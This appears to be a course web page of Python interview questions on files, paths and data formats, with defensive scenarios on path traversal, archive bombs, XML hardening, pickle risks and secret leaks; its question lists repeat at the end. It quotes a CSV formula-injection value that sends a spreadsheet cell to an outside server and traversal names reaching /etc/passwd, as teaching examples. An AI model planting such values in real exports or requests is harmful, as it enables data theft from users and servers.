This page needs a newer browser to run its tools. You can still read everything here.

Python Module 8

Files, paths and data formats interview questions

Interview questions on files, paths and data formats: short warm-ups, then what each harder question tests, the first step of a good answer and its follow-ups.

33 questions: 11 warm-ups and 22 with model answers · Levels: Fresher to senior

Warm-up questions

Short questions with short answers, each answered in full.

Fresher

What is the difference between opening a file with "w", "a" and "x"?

Answered in the lesson Reading and writing text files safely
Fresher

What is the difference between Path.iterdir(), Path.glob() and Path.rglob()?

Answered in the lesson pathlib: paths, folders and file operations
Fresher

Why do you open a CSV file with newline="" in Python?

Answered in the lesson CSV files with the csv module
Fresher

What is the difference between json.load() and json.loads(), and between json.dump() and json.dumps()?

Answered in the lesson JSON: load, dump and custom types
Fresher

Why is every value in os.environ a string, and how should you read a boolean setting such as DEBUG from it?

Answered in the lesson Config files, environment variables and secrets
Fresher to mid

What do the characters <, > and ! mean at the start of a struct format string, and why do they matter?

Answered in the lesson Binary files, struct and checksums
Fresher

What is the difference between an archive format and a compression format?

Answered in the lesson Archives and compression: zip, tar, gzip, zstd
Fresher to mid

Why must text from users go through html.escape() before it is put into an HTML page?

Answered in the lesson XML and HTML parsing without security holes
Fresher to mid

Why is it unsafe to unpickle data from an untrusted source?

Answered in the lesson pickle, shelve and safe serialisation
Fresher

Why should you pass values to sqlite3 as parameters instead of building the SQL string with an f-string?

Answered in the lesson SQLite databases with sqlite3
Fresher to mid

What is PEP 249 (DB-API 2.0), and why do Python database drivers feel alike?

Answered in the lesson Beyond SQLite: DB-API drivers and ORMs

Questions with model answers

What each question tests, the first step of a good answer and the follow-ups to expect.

Fresher to mid

A desktop app saves its settings with open(path, "w") followed by json.dump(). After a power cut during a save, users find the settings file empty or cut off, and the app refuses to start. Explain why, and describe a save that can never leave a half-written file.
What it tests

Knowing that "w" empties a file when it opens it, how buffering delays writes, and the pattern of writing a temporary file and swapping it in with os.replace().

First step

Point out that open(path, "w") empties the file at once and that the new bytes reach the disk only later, in pieces, so any interruption in between leaves an empty or partial file. Then propose writing the new settings to a temporary file in the same folder and swapping it in with os.replace().
Follow-ups
- Why must the temporary file be in the same folder?
- What does os.fsync() add, and what does it cost?
- How should the app recover when it does find a damaged file?
From the lesson Reading and writing text files safely
Model answer, Pro. Model answers open with any pass; prices are in the notice on this page.
Opening the model answers with your pass…
Model answers open with any MySmartCoPilot pass.
Pro pass · 1 week₹79$2.99
30 days₹179$5.99
1 year₹1,699$45
One payment; a pass never renews. The price shown is the total you pay: no fees or charges are added at checkout.
Passes can’t be bought right now, so the model answers can’t be opened at the moment. If you have a pass, enter your licence key.
Choose a pass I have a licence key
It also opens every other in-depth part in Learn and every Pro tool. Sales are final, except where the law gives you a right to withdraw, for example in the EU and the UK (refund policy).
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 3 minutes
Fresher to mid

A script that reads customer names from a UTF-8 text file works on the developer's Mac and on the Linux server, but on a colleague's Windows laptop "Zoë" comes out as "ZoÃ«" and some lines raise UnicodeDecodeError. What is going on, and how do you fix it for good?
What it tests

How open() chooses its default encoding, why UTF-8 bytes turn into mojibake under a legacy code page, and how to make text files behave the same on every computer.

First step

Recognise the mojibake: two wrong characters for each accented letter mean UTF-8 bytes were decoded with a one-byte code page. On Python 3.14 and older, open() without encoding= uses the locale encoding, often Windows-1252 on Windows. Pass encoding="utf-8" to every open() and find the rest with -X warn_default_encoding.
Follow-ups
- How do you find every open() call that relies on the default?
- What changes in Python 3.15?
- The file comes from a spreadsheet and starts with a byte order mark. Now what?
From the lesson Reading and writing text files safely
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 3 minutes
Mid to senior

A report-download endpoint returns the bytes of Path("/srv/reports") / name, where name comes from the URL. A tester downloads /etc/passwd twice, once with name "../../etc/passwd" and once with "/etc/passwd". Explain both, and describe the check you would add, including what it must do about symbolic links.
What it tests

Path traversal through .. and absolute paths, why checks on the text of a path fail, resolve() with is_relative_to(), symbolic links, and designs that never turn input into paths.

First step

Explain that each .. climbs one folder and that joining an absolute path discards the base. Then resolve the base and the joined path, which also follows symbolic links, and refuse the request unless the result is inside the base and is not the base itself; an allowlist of names is stronger still.
Follow-ups
- Why is str(path).startswith(base) wrong?
- What can still go wrong between the check and open()?
- How would you design the endpoint so that user input never becomes a path?
From the lesson pathlib: paths, folders and file operations
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 2 minutes
Mid to senior

A nightly clean-up job runs shutil.rmtree(Path(root) / cfg["build_dir"]). One night cfg["build_dir"] was an empty string, and the whole project folder was deleted. How do you make code that deletes files safe against bad configuration and mistakes?
What it tests

How joining treats empty and absolute parts, checks that must run before destructive operations, dry runs and limits, and making deletion recoverable.

First step

Show why it happened: Path(root) / "" is root itself, so rmtree() removed the parent folder exactly as asked. Then add checks that run before anything is deleted: the resolved target must lie strictly inside root, the setting must be a plain relative name, and the job should list what it would delete first.
Follow-ups
- Which other values of build_dir would have been just as dangerous?
- How would you test this code without risking real folders?
- How should the deletion survive a crash halfway through?
From the lesson pathlib: paths, folders and file operations
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 2 minutes
Mid to senior

Users of a web app choose their display names, and support staff export all users to CSV and open the file in a spreadsheet. One name is =HYPERLINK("https://example.com/?d="&A2,"Open"). What can go wrong, and how do you export safely without breaking the file for programs that also read it?
What it tests

Formula injection in CSV exports, the leading characters that trigger it, neutralising values with a prefix, its trade-offs, and keeping exports for people and for programs apart.

First step

Explain that spreadsheets treat a cell starting with =, +, -, @, a tab, a carriage return or a line feed as a formula, so this name becomes a link that can send a neighbouring cell to another server. Then neutralise such values in the text columns by putting a single quote in front of them, and keep a raw export for programs.
Follow-ups
- Why not neutralise every column?
- Does the quoting the csv module adds prevent it?
- How would you test the export?
From the lesson CSV files with the csv module
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 3 minutes
Mid to senior

A partner sends a 10 GB CSV file of orders every night, and your job loads it into a database. Some rows are malformed. How do you read, validate and load it without running out of memory, without losing the bad rows, and so that a failure halfway can be retried safely?
What it tests

Streaming with csv.reader, validating rows into typed records, reporting rejects, batching inserts in transactions, idempotent retries and checks that the file is complete.

First step

Stream the file with csv.reader over a file opened with newline="" and the agreed encoding, so memory stays flat whatever its size. Convert and validate each row, write rejected rows with their line numbers and reasons to a separate file, and insert the good rows in batches, one transaction per batch.
Follow-ups
- How large should a batch be?
- The job crashes at row 40 million. How does the retry avoid duplicates?
- When should the job refuse the whole file instead of single rows?
From the lesson CSV files with the csv module
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 2 minutes
Fresher to mid

An order service reads amounts such as 366.25 from JSON with json.loads(), computes 18 % tax on each and rounds it to two decimals. Over 100,000 orders its tax total differs from the payment provider's by 15.72. Explain why, and fix how amounts are read, calculated and written.
What it tests

Binary floats against decimal amounts, where rounding errors appear, parse_float=Decimal, explicit rounding modes, and how to send exact amounts in JSON.

First step

Explain that json.loads() turns 366.25 into a binary float and that the product with 0.18 lands just below 65.925, so rounding gives 65.92 where the provider's decimal arithmetic gives 65.93. Then parse with parse_float=decimal.Decimal, calculate and round in Decimal with the business's rounding rule, and send amounts as strings or minor units.
Follow-ups
- How large can the error get?
- What must the other side of the API change?
- Where should the rounding happen?
From the lesson JSON: load, dump and custom types
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 2 minutes
Mid to senior

An HTTP endpoint passes the request body straight to json.loads() and then into business logic. What can a buggy client or an attacker send that hurts the service, and which limits and checks do you add?
What it tests

Treating parsed JSON as untrusted: size limits, deep nesting, huge numbers, duplicate keys, NaN, the bool trap, and validating shape and ranges before use.

First step

Limit the size of the body before parsing it, since the json documentation warns that a malicious document can use a lot of CPU and memory. Parse inside a try statement, then validate the result explicitly: types, required fields, ranges, string lengths and the number of items, refusing anything unexpected.
Follow-ups
- What does deep nesting do in Python 3.14?
- Why are duplicate keys a security problem?
- Which limits would you set for an order endpoint?
From the lesson JSON: load, dump and custom types
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 3 minutes
Fresher to senior

A teammate committed an API key in settings.toml and pushed it to the shared repository; the next commit removed the line. Is the key safe now? Say what you do, in order, and what you change so that it cannot happen again.
What it tests

Treating a leaked secret as compromised, the order of revocation and rotation, what rewriting history can and cannot do, and preventing leaks with the environment, .gitignore and scanning.

First step

Say no: the key is still in the history, in every clone and perhaps in forks and CI logs, so treat it as known to others. Revoke it and issue a new one first, deploy the new key from the environment or a secrets manager without committing it, then check the provider's logs for misuse.
Follow-ups
- Should you rewrite the git history?
- How do you stop the next leak before it is pushed?
- The repository is private. Does that change anything?
From the lesson Config files, environment variables and secrets
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 3 minutes
Mid to senior

A service logs its settings at start-up to help debugging, and the settings include the database password. Failed connections also log the full connection string. How do you make sure that secrets never reach logs, tracebacks or error reports?
What it tests

Masking, wrapper types whose repr() hides the value, safe error messages, logging filters, error-reporting settings, and testing for leaks.

First step

Stop the two known leaks: log settings through a function that masks secret fields, and build connection errors from the host and database name only. Then make leaks structural: hold secrets in a wrapper class whose repr() and str() show only a masked form, so an accidental print or log line is harmless.
Follow-ups
- How would a logging filter help, and where does it fall short?
- What about tracebacks and error reports that capture local variables?
- How do you check that no secret slipped through?
From the lesson Config files, environment variables and secrets
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 3 minutes
Fresher to mid

An installer downloads a 2 GB file, and the project's website publishes its SHA-256 checksum. How do you verify the file in Python without loading 2 GB into memory, and what does a matching checksum prove and not prove?
What it tests

Hashing files in chunks, comparing digests, the difference between integrity and authenticity, where a checksum must come from, and choosing a hash function.

First step

Hash the file in chunks with hashlib.file_digest(f, "sha256"), or a loop that feeds f.read(1 MB) to update(), so memory stays at about one chunk. Normalise the published value, compare it with hmac.compare_digest(), and treat a mismatch as a failed download that must not be used.
Follow-ups
- How long does hashing 2 GB take, roughly?
- The checksum is a file next to the download on the same server. Is that enough?
- Why not use MD5?
From the lesson Binary files, struct and checksums
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 3 minutes
Mid to senior

You parse an upload format in which each record starts with a 4-byte length followed by that many bytes of data. What can a malformed or malicious file do to a naive parser, and how do you write the parser defensively?
What it tests

Treating fields read from a file as untrusted input: bounds checks, size limits, short reads, endless loops, checksums, and testing with edge cases and fuzzing.

First step

Point out that the length is chosen by whoever made the file: a parser that trusts it can allocate gigabytes, read past the end, loop forever on a length of 0 or misread the next record. Check every length against the bytes that remain and against a maximum you choose, before allocating or slicing.
Follow-ups
- How do you handle a file that ends in the middle of a record?
- Where do checksums help, and where do they not?
- How would you test the parser?
From the lesson Binary files, struct and checksums
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 3 minutes
Mid to senior

A service accepts .tar.gz uploads and unpacks them with tarfile.open(path).extractall(dest). Production runs Python 3.11 and development 3.14. What can go wrong with archives from strangers, and what do you change so that both versions extract them safely?
What it tests

What tar members can do (names, links, special files, sizes), extraction filters and their defaults by version, limits on size and count, and extracting into a fresh folder.

First step

List what a member can be: a name with .. parts or an absolute path, a symbolic or hard link that points elsewhere, a device file, or simply a huge file. Python 3.14 refuses the first three with its default 'data' filter; older versions need filter='data' passed explicitly, where their security releases provide it.
Follow-ups
- How do you check that the running Python has extraction filters at all?
- The 'data' filter refused one member halfway through. What state is the destination in?
- Which limits would you add on top of the filter?
From the lesson Archives and compression: zip, tar, gzip, zstd
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 4 minutes
Fresher to mid

Users upload zip files of documents, and a worker extracts them with ZipFile.extractall(). One night a 40 MB upload filled the server's 40 GB disk. How is that possible, and how do you design the extraction so that it cannot happen again?
What it tests

Compression ratios and decompression bombs, declared against actual sizes in a zip, limits enforced while writing, and where extraction should run.

First step

Explain the ratio first: DEFLATE stores long runs of identical bytes about a thousand times smaller, so a small archive can hold gigabytes, and many such members multiply it. Then design limits that do not trust the archive: check the declared sizes before extracting, and count the bytes actually written while extracting.
Follow-ups
- Can you trust the sizes the zip declares?
- Which limits would you choose for a document upload service?
- Where should the extraction run?
From the lesson Archives and compression: zip, tar, gzip, zstd
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 3 minutes
Mid to senior

Partners will upload XML invoices to your Python service, which parses them with xml.etree.ElementTree. Before launch you are asked to harden the parsing. What do you check and change, and why?
What it tests

The XML attack classes the Python documentation lists, the Expat version, refusing DTDs, size and time limits, compressed uploads and streaming large documents.

First step

Start from the documentation's XML security section: entity expansion, quadratic blowup and large tokens depend on the Expat version, and decompression bombs on how uploads are unpacked. Then remove what invoices never need: refuse any DOCTYPE, through a TreeBuilder whose doctype() raises or defusedxml with forbid_dtd=True.
Follow-ups
- How do you find out which Expat the production interpreter uses?
- Some partner files are 2 GB. What changes?
- Is defusedxml still useful on Python 3.14?
From the lesson XML and HTML parsing without security holes
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 3 minutes
Mid to senior

A team runs every user value through html.escape() before putting it into their HTML templates and believes that makes their pages safe. Where in a page does that not protect them, and what do they need there instead?
What it tests

Output encoding by context: element text, quoted attributes, URLs, script and style content, autoescaping templates and a Content Security Policy.

First step

Agree that html.escape() is right for text between tags and inside quoted attributes. Then list the places where escaping HTML syntax does not decide what the browser does: link and image addresses, inline script and event-handler code, CSS, and unquoted attributes.
Follow-ups
- How do you validate a link that a user supplies?
- Why must attribute values always be quoted?
- What does a Content Security Policy add?
From the lesson XML and HTML parsing without security holes
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 3 minutes
Mid to senior

A web app stores each user's session object as a pickle in a cache server that other internal services can also write to. A security review says that anyone able to write to the cache could run code on the app servers. Explain why, and redesign the session storage.
What it tests

That unpickling runs instructions from the data, trust boundaries around shared infrastructure, HMAC signing and key handling, and replacing pickle with a data-only format.

First step

Explain that pickle.loads() follows instructions in the bytes, including importing and calling any importable function, so whoever can write a cache entry decides what the app server runs when it loads that session. The redesign starts from one rule: never unpickle bytes the app did not create and protect itself.
Follow-ups
- Is signing the pickles with HMAC enough?
- How do you migrate the existing sessions without logging everyone out?
- What about pickles exchanged between your own services over a message queue?
From the lesson pickle, shelve and safe serialisation
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 4 minutes
Fresher to mid

A nightly job pickles report objects to disk, and a dashboard loads the latest file every morning. After a refactor moved the Report class into another module, loading fails with an AttributeError. Why, and how do you make stored data survive refactors?
What it tests

That pickle stores classes by module and qualified name, loading old files with find_class or an alias, versioned state with __setstate__, and when to switch to an explicit format.

First step

Look at what a pickle stores for an object: not the class's code, but its module and qualified name, here the old location of Report. Loading imports that name again, and after the refactor it no longer exists there, so the unpickler cannot find the class.
Follow-ups
- How do you load the old files once, without editing them?
- A field was added to Report. What do objects from old pickles look like?
- When is pickle still the right format for this job?
From the lesson pickle, shelve and safe serialisation
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 3 minutes
Fresher to mid

An import script reads 200,000 rows from a CSV file and inserts them into an SQLite file with one execute() and one commit() per row. It takes over ten minutes. Why is it slow, how do you make it fast, and how do you keep the import all-or-nothing?
What it tests

What a commit costs on disk, batching rows into one transaction with executemany(), keeping an import atomic, and measuring instead of guessing.

First step

Point at the commit: each one makes SQLite write the change durably and wait for the disk, so 200,000 commits mean 200,000 waits. Measure one commit, multiply, and compare that with inserting every row inside one transaction with executemany().
Follow-ups
- The CSV has 50 million rows. Is one transaction still right?
- What does PRAGMA journal_mode=WAL change?
- How do you report bad rows without losing the good ones?
From the lesson SQLite databases with sqlite3
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 3 minutes
Mid to senior

A small web app shares one global sqlite3 connection between its request threads. First it fails with a ProgrammingError about objects created in another thread; after someone passes check_same_thread=False, users see "database is locked" under load. Explain both errors and design the data access.
What it tests

sqlite3's thread check and threadsafety, SQLite's single writer, busy timeouts, short transactions, WAL mode and a connection per request or thread.

First step

Separate the two errors. The first is the sqlite3 module refusing to let a thread use a connection another thread created. The second comes from SQLite itself: it allows one writer at a time, and a writer that waits longer than the busy timeout gets "database is locked".
Follow-ups
- What does WAL mode change for readers and writers?
- How long should the timeout be?
- When is it time to move to PostgreSQL?
From the lesson SQLite databases with sqlite3
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 4 minutes
Mid to senior

An endpoint lists 50 orders with each order's customer name through SQLAlchemy's ORM. It takes 2 seconds, and the SQL log shows 51 queries. What is happening, how do you fix it, and how do you stop it from coming back?
What it tests

Lazy loading and the N+1 pattern, choosing selectinload or joinedload, reading the SQL an ORM emits, and guarding against regressions with raiseload or query-count tests.

First step

Read the log: one query for the orders, then one per order for its customer, the N+1 pattern. The relationship loads lazily, so each first access to order.customer sends a SELECT, and 51 round trips at 30 to 40 ms each explain the 2 seconds.
Follow-ups
- selectinload or joinedload here, and why?
- How do you make a test fail when someone brings the problem back?
- The page now also needs each customer's last three orders. What changes?
From the lesson Beyond SQLite: DB-API drivers and ORMs
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 3 minutes
Mid to senior

You are moving an application from SQLite to PostgreSQL. Its data-access code uses sqlite3 directly. What is likely to break, and how do you find the problems before production?
What it tests

Driver and server differences under the DB-API: placeholders, transactions after errors, types such as Decimal and booleans, LIKE and case, generated keys, concurrency, and testing against the real database.

First step

List the layers that change: the driver (placeholders, what with does to the connection), the server's transaction rules (an error aborts the transaction) and the SQL dialect and types. Then plan to run the existing tests against a real PostgreSQL, not SQLite, before anything ships.
Follow-ups
- Would putting SQLAlchemy in between have avoided the work?
- How do you move the data itself?
- What changes for concurrent writers?
From the lesson Beyond SQLite: DB-API drivers and ORMs
Model answer, Pro.
In the answer:
- Model answer
- Follow-up answers
- Common mistakes
- Rubric
- Variants
- about 4 minutes

The lessons of this module

Reading and writing text files safely Free lesson, Pro answers: 25 minutes
pathlib: paths, folders and file operations Free lesson, Pro answers: 20 minutes
CSV files with the csv module Free lesson, Pro answers: 20 minutes
JSON: load, dump and custom types Free lesson, Pro answers: 20 minutes
Config files, environment variables and secrets Free lesson, Pro answers: 25 minutes
Binary files, struct and checksums Free lesson, Pro answers: 25 minutes
Archives and compression: zip, tar, gzip, zstd Free lesson, Pro answers: 20 minutes
XML and HTML parsing without security holes Free lesson, Pro answers: 20 minutes
pickle, shelve and safe serialisation Free lesson, Pro answers: 25 minutes
SQLite databases with sqlite3 Free lesson, Pro answers: 20 minutes
Beyond SQLite: DB-API drivers and ORMs Free lesson, Pro answers: 20 minutes

All Python interview questions · The Python track

Your country

Files, paths and data formats interview questions

Warm-up questions

What is the difference between opening a file with "w", "a" and "x"?

What is the difference between Path.iterdir(), Path.glob() and Path.rglob()?

Why do you open a CSV file with newline="" in Python?

What is the difference between json.load() and json.loads(), and between json.dump() and json.dumps()?

Why is every value in os.environ a string, and how should you read a boolean setting such as DEBUG from it?

What do the characters `<`, `>` and `!` mean at the start of a struct format string, and why do they matter?

What is the difference between an archive format and a compression format?

Why must text from users go through `html.escape()` before it is put into an HTML page?

Why is it unsafe to unpickle data from an untrusted source?

Why should you pass values to sqlite3 as parameters instead of building the SQL string with an f-string?

What is PEP 249 (DB-API 2.0), and why do Python database drivers feel alike?

Questions with model answers

A desktop app saves its settings with open(path, "w") followed by json.dump(). After a power cut during a save, users find the settings file empty or cut off, and the app refuses to start. Explain why, and describe a save that can never leave a half-written file.

A script that reads customer names from a UTF-8 text file works on the developer's Mac and on the Linux server, but on a colleague's Windows laptop "Zoë" comes out as "ZoÃ«" and some lines raise UnicodeDecodeError. What is going on, and how do you fix it for good?

A nightly clean-up job runs shutil.rmtree(Path(root) / cfg["build_dir"]). One night cfg["build_dir"] was an empty string, and the whole project folder was deleted. How do you make code that deletes files safe against bad configuration and mistakes?

Users of a web app choose their display names, and support staff export all users to CSV and open the file in a spreadsheet. One name is =HYPERLINK("https://example.com/?d="&A2,"Open"). What can go wrong, and how do you export safely without breaking the file for programs that also read it?

A partner sends a 10 GB CSV file of orders every night, and your job loads it into a database. Some rows are malformed. How do you read, validate and load it without running out of memory, without losing the bad rows, and so that a failure halfway can be retried safely?

An order service reads amounts such as 366.25 from JSON with json.loads(), computes 18 % tax on each and rounds it to two decimals. Over 100,000 orders its tax total differs from the payment provider's by 15.72. Explain why, and fix how amounts are read, calculated and written.

An HTTP endpoint passes the request body straight to json.loads() and then into business logic. What can a buggy client or an attacker send that hurts the service, and which limits and checks do you add?

A teammate committed an API key in settings.toml and pushed it to the shared repository; the next commit removed the line. Is the key safe now? Say what you do, in order, and what you change so that it cannot happen again.

A service logs its settings at start-up to help debugging, and the settings include the database password. Failed connections also log the full connection string. How do you make sure that secrets never reach logs, tracebacks or error reports?

An installer downloads a 2 GB file, and the project's website publishes its SHA-256 checksum. How do you verify the file in Python without loading 2 GB into memory, and what does a matching checksum prove and not prove?

You parse an upload format in which each record starts with a 4-byte length followed by that many bytes of data. What can a malformed or malicious file do to a naive parser, and how do you write the parser defensively?

A service accepts .tar.gz uploads and unpacks them with `tarfile.open(path).extractall(dest)`. Production runs Python 3.11 and development 3.14. What can go wrong with archives from strangers, and what do you change so that both versions extract them safely?

Users upload zip files of documents, and a worker extracts them with `ZipFile.extractall()`. One night a 40 MB upload filled the server's 40 GB disk. How is that possible, and how do you design the extraction so that it cannot happen again?

Partners will upload XML invoices to your Python service, which parses them with `xml.etree.ElementTree`. Before launch you are asked to harden the parsing. What do you check and change, and why?

A team runs every user value through `html.escape()` before putting it into their HTML templates and believes that makes their pages safe. Where in a page does that not protect them, and what do they need there instead?

A web app stores each user's session object as a pickle in a cache server that other internal services can also write to. A security review says that anyone able to write to the cache could run code on the app servers. Explain why, and redesign the session storage.

A nightly job pickles report objects to disk, and a dashboard loads the latest file every morning. After a refactor moved the Report class into another module, loading fails with an AttributeError. Why, and how do you make stored data survive refactors?

An import script reads 200,000 rows from a CSV file and inserts them into an SQLite file with one `execute()` and one `commit()` per row. It takes over ten minutes. Why is it slow, how do you make it fast, and how do you keep the import all-or-nothing?

A small web app shares one global sqlite3 connection between its request threads. First it fails with a ProgrammingError about objects created in another thread; after someone passes `check_same_thread=False`, users see "database is locked" under load. Explain both errors and design the data access.

An endpoint lists 50 orders with each order's customer name through SQLAlchemy's ORM. It takes 2 seconds, and the SQL log shows 51 queries. What is happening, how do you fix it, and how do you stop it from coming back?

You are moving an application from SQLite to PostgreSQL. Its data-access code uses sqlite3 directly. What is likely to break, and how do you find the problems before production?

Warm-up questions

What is the difference between opening a file with "w", "a" and "x"?

What is the difference between Path.iterdir(), Path.glob() and Path.rglob()?

Why do you open a CSV file with newline="" in Python?

What is the difference between json.load() and json.loads(), and between json.dump() and json.dumps()?

Why is every value in os.environ a string, and how should you read a boolean setting such as DEBUG from it?

What do the characters <, > and ! mean at the start of a struct format string, and why do they matter?

What is the difference between an archive format and a compression format?

Why must text from users go through html.escape() before it is put into an HTML page?

Why is it unsafe to unpickle data from an untrusted source?

Why should you pass values to sqlite3 as parameters instead of building the SQL string with an f-string?

What is PEP 249 (DB-API 2.0), and why do Python database drivers feel alike?

Questions with model answers

A desktop app saves its settings with open(path, "w") followed by json.dump(). After a power cut during a save, users find the settings file empty or cut off, and the app refuses to start. Explain why, and describe a save that can never leave a half-written file.

A script that reads customer names from a UTF-8 text file works on the developer's Mac and on the Linux server, but on a colleague's Windows laptop "Zoë" comes out as "ZoÃ«" and some lines raise UnicodeDecodeError. What is going on, and how do you fix it for good?

A nightly clean-up job runs shutil.rmtree(Path(root) / cfg["build_dir"]). One night cfg["build_dir"] was an empty string, and the whole project folder was deleted. How do you make code that deletes files safe against bad configuration and mistakes?

Users of a web app choose their display names, and support staff export all users to CSV and open the file in a spreadsheet. One name is =HYPERLINK("https://example.com/?d="&A2,"Open"). What can go wrong, and how do you export safely without breaking the file for programs that also read it?

A partner sends a 10 GB CSV file of orders every night, and your job loads it into a database. Some rows are malformed. How do you read, validate and load it without running out of memory, without losing the bad rows, and so that a failure halfway can be retried safely?

An order service reads amounts such as 366.25 from JSON with json.loads(), computes 18 % tax on each and rounds it to two decimals. Over 100,000 orders its tax total differs from the payment provider's by 15.72. Explain why, and fix how amounts are read, calculated and written.

An HTTP endpoint passes the request body straight to json.loads() and then into business logic. What can a buggy client or an attacker send that hurts the service, and which limits and checks do you add?

A teammate committed an API key in settings.toml and pushed it to the shared repository; the next commit removed the line. Is the key safe now? Say what you do, in order, and what you change so that it cannot happen again.

A service logs its settings at start-up to help debugging, and the settings include the database password. Failed connections also log the full connection string. How do you make sure that secrets never reach logs, tracebacks or error reports?

An installer downloads a 2 GB file, and the project's website publishes its SHA-256 checksum. How do you verify the file in Python without loading 2 GB into memory, and what does a matching checksum prove and not prove?

You parse an upload format in which each record starts with a 4-byte length followed by that many bytes of data. What can a malformed or malicious file do to a naive parser, and how do you write the parser defensively?

A service accepts .tar.gz uploads and unpacks them with tarfile.open(path).extractall(dest). Production runs Python 3.11 and development 3.14. What can go wrong with archives from strangers, and what do you change so that both versions extract them safely?

Users upload zip files of documents, and a worker extracts them with ZipFile.extractall(). One night a 40 MB upload filled the server's 40 GB disk. How is that possible, and how do you design the extraction so that it cannot happen again?

Partners will upload XML invoices to your Python service, which parses them with xml.etree.ElementTree. Before launch you are asked to harden the parsing. What do you check and change, and why?

A team runs every user value through html.escape() before putting it into their HTML templates and believes that makes their pages safe. Where in a page does that not protect them, and what do they need there instead?

A web app stores each user's session object as a pickle in a cache server that other internal services can also write to. A security review says that anyone able to write to the cache could run code on the app servers. Explain why, and redesign the session storage.

A nightly job pickles report objects to disk, and a dashboard loads the latest file every morning. After a refactor moved the Report class into another module, loading fails with an AttributeError. Why, and how do you make stored data survive refactors?

An import script reads 200,000 rows from a CSV file and inserts them into an SQLite file with one execute() and one commit() per row. It takes over ten minutes. Why is it slow, how do you make it fast, and how do you keep the import all-or-nothing?

A small web app shares one global sqlite3 connection between its request threads. First it fails with a ProgrammingError about objects created in another thread; after someone passes check_same_thread=False, users see "database is locked" under load. Explain both errors and design the data access.

An endpoint lists 50 orders with each order's customer name through SQLAlchemy's ORM. It takes 2 seconds, and the SQL log shows 51 queries. What is happening, how do you fix it, and how do you stop it from coming back?

You are moving an application from SQLite to PostgreSQL. Its data-access code uses sqlite3 directly. What is likely to break, and how do you find the problems before production?

What do the characters `<`, `>` and `!` mean at the start of a struct format string, and why do they matter?

Why must text from users go through `html.escape()` before it is put into an HTML page?

A service accepts .tar.gz uploads and unpacks them with `tarfile.open(path).extractall(dest)`. Production runs Python 3.11 and development 3.14. What can go wrong with archives from strangers, and what do you change so that both versions extract them safely?

Users upload zip files of documents, and a worker extracts them with `ZipFile.extractall()`. One night a 40 MB upload filled the server's 40 GB disk. How is that possible, and how do you design the extraction so that it cannot happen again?

Partners will upload XML invoices to your Python service, which parses them with `xml.etree.ElementTree`. Before launch you are asked to harden the parsing. What do you check and change, and why?

A team runs every user value through `html.escape()` before putting it into their HTML templates and believes that makes their pages safe. Where in a page does that not protect them, and what do they need there instead?

An import script reads 200,000 rows from a CSV file and inserts them into an SQLite file with one `execute()` and one `commit()` per row. It takes over ten minutes. Why is it slow, how do you make it fast, and how do you keep the import all-or-nothing?